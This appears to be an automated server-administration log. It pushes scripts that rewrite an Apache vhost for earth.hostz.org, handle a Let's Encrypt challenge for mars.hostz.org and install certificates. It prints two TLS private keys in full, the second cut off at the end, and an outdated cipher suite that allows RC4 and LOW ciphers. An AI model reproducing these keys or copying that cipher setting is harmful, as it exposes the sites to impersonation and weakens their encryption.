chmod 755 /tmp/pkp667213; /tmp/pkp667213; rm /tmp/pkp667213

2025-10-09 06:00:21: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/pjy_earth_us.conf 36
ExtendedStatus	on

<VirtualHost *:80>
    ServerName	earth.hostz.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hostz_earth
    <Directory /var/www/hostz_earth>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/pjy/earth_access.log combined
    ErrorLog	/var/log/apache2/pjy/earth_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteCond	%{REQUEST_URI} !/event
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	earth.hostz.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d
    DocumentRoot	/var/www/hostz_earth
    <Directory /var/www/hostz_earth>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    <Location /server-status>
        SetHandler	server-status
        AuthType	Basic
        AuthName	"Server Status"
        AuthUserFile	/var/www/hostz_earth/.htpasswd
        require	valid-user
    </Location>
    
    CustomLog	/var/log/apache2/pjy/earth_secure_access.log combined
    ErrorLog	/var/log/apache2/pjy/earth_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2025-10-09 06:00:21: 

PUT: /tmp/pkp736767

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=pjy_earth_us.conf
TARGET=/etc/apache2/sites-enabled/pjy_earth_us.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
ExtendedStatus	on

<VirtualHost *:80>
    ServerName	earth.hostz.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hostz_earth
    <Directory /var/www/hostz_earth>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/pjy/earth_access.log combined
    ErrorLog	/var/log/apache2/pjy/earth_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteCond	%{REQUEST_URI} !/event
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	earth.hostz.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d
    DocumentRoot	/var/www/hostz_earth
    <Directory /var/www/hostz_earth>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    <Location /server-status>
        SetHandler	server-status
        AuthType	Basic
        AuthName	"Server Status"
        AuthUserFile	/var/www/hostz_earth/.htpasswd
        require	valid-user
    </Location>
    
    CustomLog	/var/log/apache2/pjy/earth_secure_access.log combined
    ErrorLog	/var/log/apache2/pjy/earth_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/pjy_earth_us.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/pjy_earth_us.conf)= /etc/apache2//etc/apache2/sites-enabled/pjy_earth_us.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/pjy_earth_us.conf= 1'
fi


2025-10-09 06:00:22: 

chmod 755 /tmp/pkp736767; /tmp/pkp736767; rm /tmp/pkp736767

2025-10-09 06:00:22: 




2025-10-09 06:00:22: 

PUT: /tmp/pkp725075

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2025-10-09 06:00:23: 

chmod 755 /tmp/pkp725075; /tmp/pkp725075; rm /tmp/pkp725075

2025-10-09 06:00:23: 


.


2025-10-09 06:00:23: Establishing a connection
2025-10-09 06:00:24: 

PUT: /tmp/pkp582728

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2025-10-09 06:00:25: 

chmod 755 /tmp/pkp582728; /tmp/pkp582728; rm /tmp/pkp582728

2025-10-09 06:00:26: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server localhost.localdomain (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost localhost.localdomain (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost carelinks.net (/etc/apache2/sites-enabled/carelinks_www_net.conf:2)
                 alias www.carelinks.net
         port 80 namevhost carelinks.org (/etc/apache2/sites-enabled/carelinks_www_org.conf:2)
                 alias www.carelinks.org
         port 80 namevhost persianchurch.info (/etc/apache2/sites-enabled/persianchurch_www_info.conf:2)
                 alias www.persianchurch.info
         port 80 namevhost earth.hostz.org (/etc/apache2/sites-enabled/pjy_earth_us.conf:3)
*:443                  is a NameVirtualHost
         default server carelinks.net (/etc/apache2/sites-enabled/carelinks_www_net.conf:20)
         port 443 namevhost carelinks.net (/etc/apache2/sites-enabled/carelinks_www_net.conf:20)
                 alias www.carelinks.net
         port 443 namevhost carelinks.org (/etc/apache2/sites-enabled/carelinks_www_org.conf:20)
         port 443 namevhost persianchurch.info (/etc/apache2/sites-enabled/persianchurch_www_info.conf:23)
                 alias www.persianchurch.info
         port 443 namevhost earth.hostz.org (/etc/apache2/sites-enabled/pjy_earth_us.conf:24)
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.


2025-10-09 06:00:26: 

PUT: /tmp/pkp117059

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/pjy_earth_us.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-10-09 06:00:26: 

chmod 755 /tmp/pkp117059; /tmp/pkp117059; rm /tmp/pkp117059

2025-10-09 06:00:27: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/pjy_earth_us.conf	1555
ExtendedStatus	on

<VirtualHost *:80>
    ServerName	earth.hostz.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hostz_earth
    <Directory /var/www/hostz_earth>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/pjy/earth_access.log combined
    ErrorLog	/var/log/apache2/pjy/earth_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteCond	%{REQUEST_URI} !/event
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	earth.hostz.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d
    DocumentRoot	/var/www/hostz_earth
    <Directory /var/www/hostz_earth>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    <Location /server-status>
        SetHandler	server-status
        AuthType	Basic
        AuthName	"Server Status"
        AuthUserFile	/var/www/hostz_earth/.htpasswd
        require	valid-user
    </Location>
    
    CustomLog	/var/log/apache2/pjy/earth_secure_access.log combined
    ErrorLog	/var/log/apache2/pjy/earth_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2025-10-09 06:00:27: 

PUT: /tmp/pkp160113

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-10-09 06:00:27: 

chmod 755 /tmp/pkp160113; /tmp/pkp160113; rm /tmp/pkp160113

2025-10-09 06:00:27: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d	5348
a7:0a:40:bc:b9:87:97:a9:4e:07:4e:22:95:b9:3b:6f

-----BEGIN CERTIFICATE-----
MIIE+TCCA+GgAwIBAgISBoWL6nO0iIiD5+K+1G0rzGfxMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMDA5MDUwMTQ1WhcNMjYwMTA3MDUwMTQ0WjAaMRgwFgYDVQQD
Ew9lYXJ0aC5ob3N0ei5vcmcwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIB
AQCyV/VL+Fx8VYgzsWDQbXW0wtE3Ep+DuMVkQhGEd4QjPEQsGwwDnuggZbQm+5ox
IJWtEDT4GjL+0SHm4bekElSFk4OZWaZ7Wm2HC1uA8vktZZMgQQjtJWoc7wRKQKNx
Xp5x85iQBzgxiUGOYUNmoJ/GGcbJ3zJzoYp3jUSPyCPA04in3bzaZkYk+tfHZEd/
hEkDiyIUAKcMYCcHcpOvfIdHX2L/nHrGFbXbDH2gm+96grgX6z2GatUQ87stCDO5
2kopmPDvmKqDKVHAcoHDITLp24Y5dAwwtaxzLQc3omcBGnonsEeUG+TxInAvfa2M
sDomFx6JhHWQHzGGdLTAYW0XAgMBAAGjggIeMIICGjAOBgNVHQ8BAf8EBAMCBaAw
HQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQCMAAwHQYD
VR0OBBYEFHbL6l5BGuQZmR6V8Si1qdK4UYTBMB8GA1UdIwQYMBaAFOernw8sM6BT
015PeMiyhA471pIzMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDov
L3IxMy5pLmxlbmNyLm9yZy8wGgYDVR0RBBMwEYIPZWFydGguaG9zdHoub3JnMBMG
A1UdIAQMMAowCAYGZ4EMAQIBMC8GA1UdHwQoMCYwJKAioCCGHmh0dHA6Ly9yMTMu
Yy5sZW5jci5vcmcvMTE0LmNybDCCAQIGCisGAQQB1nkCBAIEgfMEgfAA7gB1ABmG
1Mcoqm/+ugNveCpNAZGqzi1yMQ+uzl1wQS0lTMfUAAABmceOTS0AAAQDAEYwRAIg
XOoPgFHv/8L5RnTGGWJbieGhqb6jmmIpnIxntRDKvF0CIF9VvuJdQ2wWji//+GDE
E+dlWlHxHI69o3nOzse6ODG4AHUADleUvPOuqT4zGyyZB7P3kN+bwj1xMiXdIakl
rGHFTiEAAAGZx45NKgAABAMARjBEAiA+rqKnl8PlIFI8pH4eTaZJ++3P4+YLmA7y
O4gZ2mXIJQIgQdQ3lXhWA7vPJSo/PQaeL1DxBCtcmMmzxK6FaHYMQpUwDQYJKoZI
hvcNAQELBQADggEBAC+EpkHDIhJWeLUFm9jMHUOzn7YTNX0pYUUdhgv4NMskrKSV
qRLsY53lmEFn0w5A/tIPKtkT9P5PCpzZoKijCmlb6tmbvW5yK/xS0BDgVsnxdI9Q
ff/afKuwX7nOBPdR5LIIK69Q6AxO95kZjzU5cR5zDlZUhfDpnJWS1lV92SiEd+2g
N7QzOSZJUfEF0E+HNaconV2Kjb7KCnYR7hYfB/Mc6C0G87Ab9SxB8kdvCNk25rjB
8Frvf7muJU5ROlQcgMC7oa+OAKOfgAvZhtPNuCK8S4d2RIxKkiuEQp724vxLxLi1
a9eTz7umqW9vTgi/1XU0Nb32QslFF3eNew2XMoI=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQCyV/VL+Fx8VYgz
sWDQbXW0wtE3Ep+DuMVkQhGEd4QjPEQsGwwDnuggZbQm+5oxIJWtEDT4GjL+0SHm
4bekElSFk4OZWaZ7Wm2HC1uA8vktZZMgQQjtJWoc7wRKQKNxXp5x85iQBzgxiUGO
YUNmoJ/GGcbJ3zJzoYp3jUSPyCPA04in3bzaZkYk+tfHZEd/hEkDiyIUAKcMYCcH
cpOvfIdHX2L/nHrGFbXbDH2gm+96grgX6z2GatUQ87stCDO52kopmPDvmKqDKVHA
coHDITLp24Y5dAwwtaxzLQc3omcBGnonsEeUG+TxInAvfa2MsDomFx6JhHWQHzGG
dLTAYW0XAgMBAAECggEAEXnZCaa+uVhQTnB1QjdXr2zfv3vNscSrYxWuTcLAagt/
yqqj1L7/lB0jOCazh1jgEeNirWUz1hB8N/mqWyOIsMYxwRct3yyPSwpr3wjwLeik
MCbvTv25ljg9vWD0IynYcOYj7wkmEoSWrfMN/cKDpY/lEOcUNIyB2xE2xLgh+MUX
2h2+0kaXeXFvB3bsqHAz9JUeDpJo03/lCUut4G/iKezD8KVK9CANoFYHQODZ+j22
aL5xZpYdCaZ2ouUoUpXa+x1jdmDy3EWhAM35ja1m+xjzQZP7x1MXQNT8F+seN2Vz
k703ip5rbWjy/tMNSWpRI3Mtfn5tXH/MzAEbDilt4QKBgQDdSdarKUE7i2NnAWY/
iSKGrsjQx+K8DiEqmGrlTy6wq4NkJgtUG3roM0L8Axlr9epep5kWjD8dqdbUkiGU
iFel2VBGPaZrw+Oh/hDiUKODCxSot1BgOrnUMUNWWoimFDSwkiR0Dxm3Eq4Py5ZB
amMfu9WkkrxK3iJ9mQdTPUPsbwKBgQDOUZs+BMz0Rnsedd6dPBuVpzuOI/8CHgco
E3nhtw4xbJ/jNVy1FIU1H8nXcagH0cg9HitR6JIZeaETMow+apZFj33mlBzE9Pzs
+LcnjaOwpcaIQqDJkRiF51WuwTpbLLEMvuRuMcazp+gzwLP+ptJNm8DC2Lp1rjGW
1dUP5umt2QKBgQDPrlPlUZOiUaBZ9OtEZ+zaYEGiCGbYPZ6M/n0cdyMHtgBbRoVN
S3kfYbTVFgeO1j4+1aaMjdVSfqpb2EXhw9AWnAyFz6hX7YG+79ZiwHGlNAoQifLK
TXNIHW/oJJGo5L/Kk23Y6q8krUhlFJoRDMq45q2MhhZnYXEXVT6VtaMAywKBgQCX
v8gqPoes56YoylM5XPuBACa6rlki6oki/eg4j1Z+HcIf8KDGg1hSsZXYw7zuO2tH
IMiGD0RePmqt3xDt26G5eggFL01VxEe/2FOGYRRTmirDEBaJCxJ5cqQ/y9mrM9zp
XgJP1oaqn0YXwpXhKDwoXvXRmmzSn5PTuGVks9eOSQKBgAj+cssoNSoUYzvy0d1Y
GkTwzIepC+jT5V0v4kCVPlZvnqsHxDSLLIIpbjB17rcubi56yEBXGdV74cyadQOW
sSGfkZI11BKNkQJASNp6GPy9b3VjAbl+cECwie7MgTOm6arMk8dbQJiJiLb/ffvX
y1Gaf7UdnO7MbLnUvdj2WHbQ
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2025-10-09 06:00:27: Establishing a connection
2025-10-09 06:00:28: Establishing a connection
2025-10-09 06:00:28: 

PUT: /tmp/pkp642731

#!/bin/bash
if [ -d "/var/www/hostz_mars/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-10-09 06:00:28: 

chmod 755 /tmp/pkp642731; /tmp/pkp642731; rm /tmp/pkp642731

2025-10-09 06:00:28: 


1


2025-10-09 06:00:29: Establishing a connection
2025-10-09 06:00:29: 

PUT: /tmp/pkp389511

#!/bin/bash
mkdir -p "/var/www/hostz_mars/.well-known/acme-challenge/"
cd "/var/www/hostz_mars/.well-known/acme-challenge/"
cat > tOO8u3folEiq4O0LEzFHYuUbk5DeIQRluvsUYXDsn-E <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
tOO8u3folEiq4O0LEzFHYuUbk5DeIQRluvsUYXDsn-E.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 tOO8u3folEiq4O0LEzFHYuUbk5DeIQRluvsUYXDsn-E


2025-10-09 06:00:29: 

chmod 755 /tmp/pkp389511; /tmp/pkp389511; rm /tmp/pkp389511

2025-10-09 06:00:29: 




2025-10-09 06:00:34: Establishing a connection
2025-10-09 06:00:34: 

PUT: /tmp/pkp149539

#!/bin/bash
mkdir -p "/var/www/hostz_mars/.well-known/acme-challenge/"
cd "/var/www/hostz_mars/.well-known/acme-challenge/"
rm tOO8u3folEiq4O0LEzFHYuUbk5DeIQRluvsUYXDsn-E


2025-10-09 06:00:34: 

chmod 755 /tmp/pkp149539; /tmp/pkp149539; rm /tmp/pkp149539

2025-10-09 06:00:34: 




2025-10-09 06:00:34: Establishing a connection
2025-10-09 06:00:34: 

PUT: /tmp/pkp234273

#!/bin/bash
temp_file=$(mktemp)
TARGET=ecea81f90eb664107ec66742d2c0036d

cat > $temp_file <<'endmsg'
72:16:f8:4e:1f:35:57:75:0b:e0:20:62:3e:62:76:cf

-----BEGIN CERTIFICATE-----
MIIE9zCCA9+gAwIBAgISBlU3nXHtbb7cUEljQQNZXNk6MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMDA5MDUwMjAxWhcNMjYwMTA3MDUwMjAwWjAZMRcwFQYDVQQD
Ew5tYXJzLmhvc3R6Lm9yZzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB
AM//eTz1niCwUntFTsD6FMmXVolnP9l+uH1npMsMvZ6MvjefnrlG7hPgW59DyKAY
wO6b9FPVEkyMHFUGy61t98StVe4cmM9hRcF06I63jmsJOoxRI/gVtRhH4DZ6xsUv
May2t5mKd6+5KEJB7HjOCXcPJ0z1/wxLBrdS+ducEYYgjPzh1xdWHGm3wo4DECwu
dFUax06AMWLWUL4CgSVPlGX7nUrDdaNvjTqK4nLHm8ew4A2cu3bjlxTFiidr3hfU
NwBACMWocfK/+hSNrEVNPhdMxoez7WuQYdm+y4RcOscpbbONgcuRzW98kVfFPWUd
Yi15koyOUSqP0uh86g41uXkCAwEAAaOCAh0wggIZMA4GA1UdDwEB/wQEAwIFoDAd
BgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIwADAdBgNV
HQ4EFgQUYtGG5ImepC01QoCXhHqws3MOpDswHwYDVR0jBBgwFoAUALUp8i2ObzHo
m0yteD763OkM0dIwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8v
cjEyLmkubGVuY3Iub3JnLzAZBgNVHREEEjAQgg5tYXJzLmhvc3R6Lm9yZzATBgNV
HSAEDDAKMAgGBmeBDAECATAuBgNVHR8EJzAlMCOgIaAfhh1odHRwOi8vcjEyLmMu
bGVuY3Iub3JnLzU5LmNybDCCAQMGCisGAQQB1nkCBAIEgfQEgfEA7wB1AGQRxGyk
EuyniRyiAi4AvKtPKAfUHjUnq+r+1QPJfc3wAAABmceOi7MAAAQDAEYwRAIgHGwa
KjtdmZzd4cj0LHML6uXrbtWVoGXCt3Hd9J/VxdoCIHX21am1V+ipabWur2kcca6K
yShh/1h3X5YpnOiDKy2nAHYAlpdkv1VYl633Q4doNwhCd+nwOtX2pPM2bkakPw/K
qcYAAAGZx46TsAAABAMARzBFAiEAukIXt567dh4+97acVQnz1qagvCkNdw7VJemd
i/yuBxcCIHm+vg8m8ChpC++yiviSUqDezvitow7+siPOyrfGm8cyMA0GCSqGSIb3
DQEBCwUAA4IBAQAik0gSbOrvTSSoS/woZv3tRpwUwmhD/ipoqBOUXxhIgoYoAUFK
8Z6iSAo2YUm5qnM3cRkISoFpSJD4no4TmLWEJ4kog0ZKf12ql0lIRYFjk8iCEYXY
2lyVIRk7N/kHxb233fqy9rvUkyR5uNV0iE4cLL4cr2dDNtlgIaUW6jki1+4jDqz1
McWqr+qOfWztb0fWZYoi4tH1uO84inyFqRHM7ympDe4qRtdGQvKoW/ZLpn8mgjmi
wMkWCZNenRQqAjZ5RfIsLlvqv46Sa5oFkgtPIgfWKuvcSS+EatPLacjZz1SOWiOF
mGvKXxQEXrn6UGnaCnyRh0mXRnWQW7BzogS5
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDP/3k89Z4gsFJ7
RU7A+hTJl1aJZz/Zfrh9Z6TLDL2ejL43n565Ru4T4FufQ8igGMDum/RT1RJMjBxV
BsutbffErVXuHJjPYUXBdOiOt45rCTqMUSP4FbUYR+A2esbFLzGstreZinevuShC
Qex4zgl3DydM9f8MSwa3UvnbnBGGIIz84dcXVhxpt8KOAxAsLnRVGsdOgDFi1lC+
AoElT5Rl+51Kw3Wjb406iuJyx5vHsOANnLt245cUxYona94X1DcAQAjFqHHyv/oU
jaxFTT4XTMaHs+1rkGHZvsuEXDrHKW2zjYHLkc1vfJFXxT1lHWIteZKMjlEqj9Lo
fOoONbl5AgMBAAECggEARDNfnIZo+Az4rqTWIt6dTFCMNnedbwJnGe+PEGk4D7HU
eUakc9n3HJtXT4yZTy1urY6Dea2G14SlkZet10sUj+/KGk5UKMObbMiZrJoxX5Vi
FjpQ0frEK5b9xL9TR7qmzhwHbZgCkKLkuX0GPcJJRjm4yDptC6naJOhXNxQghtq0
LBHY1sja/PTuo7bDgABSPoWx/ZW8UEoTFbmMu3oV6i47Ufsq+NFaukn+r301hSV5
gAqs3bCHyTGdj3RJQz5fObyU8vw5vorLtJ/F3E7EohkW8goy3vhxK76ZGh+qWopA
qIVhv1ZfWj6uQkVhfEcNIT61o0WhzlEAxM5DRZdotQKBgQDnpWNqhpa9WX0pBD8n
EyAHj/PsFwMMAqkRyXItW5gx28C9okQYlIOPRZFOx4HygLc85YQUZvS0AwBwHlCs
a92+4apkK98aXRQHD7PxG6ApcpOW3xx8HaNqwFMsLzLEFb21G66YUtgq+AiaUveH
q8mJdehvCrVR1Jn348mDwiZXpwKBgQDl3ZxpDjIh9qcJj5wbPifhVFj+CQsFHWMv
ENBj7gqd7GdjCHOVAJMaIrZmOhA+L7iMa5sHxKlhZh8ht/rjn3VZiY3nOUndEsnJ
4Mu9SEkC9EIjaQ60lmCRaDdZg3Jv+8lwV9lz3nwz3sZQYRkxqOGPQe1iDRKPeP++
DE0Ko8GJ3wKBgF6kW/Hx+zRxk4lmisbUMYnlbqtO25fUnm799wBBI/V660yPN3Mz
emzW539gU99YZ4Uh4MzVI7VIZK1qNVu81mRentc+dXC4Bq6747DmsJE+lr5VebXc
BiBfY5vxzLQAjfmozbS+ZENqA1nJ/AgaT8Uxvz1fCqXcTuvQzUxfznqRAoGBAIyF
bZjLlNoubu7pXAVLehXF+qFR5eq6jGe5X6u3WcYxPwLLp9zu/P59OgREeqmJgshU
//E/yExCocV7M2TzlkmmTZmM7Bq54aIISoTsK7YinEwJbXP4ehBqJWwTb2IGCp8j
FUxANq1/Ar0gnsY896ccJoJKe4456h3EZ1SZxzcBAoGBAKqcdnpIMd6AqUOxEssu
WysJ/T55VzUdcGBcvtwbE+zauZY8BrGuGtJAuh2evpIuzFif8676QLriPEsxkZm0
6NNSOAQRhpPGHP0hL8WxZWNqq4cb5PgNpboqR5MiCVHERodN3WLLUG3yKDgGosrc
HyXUnkkebqKjzKxMFHZdEChh
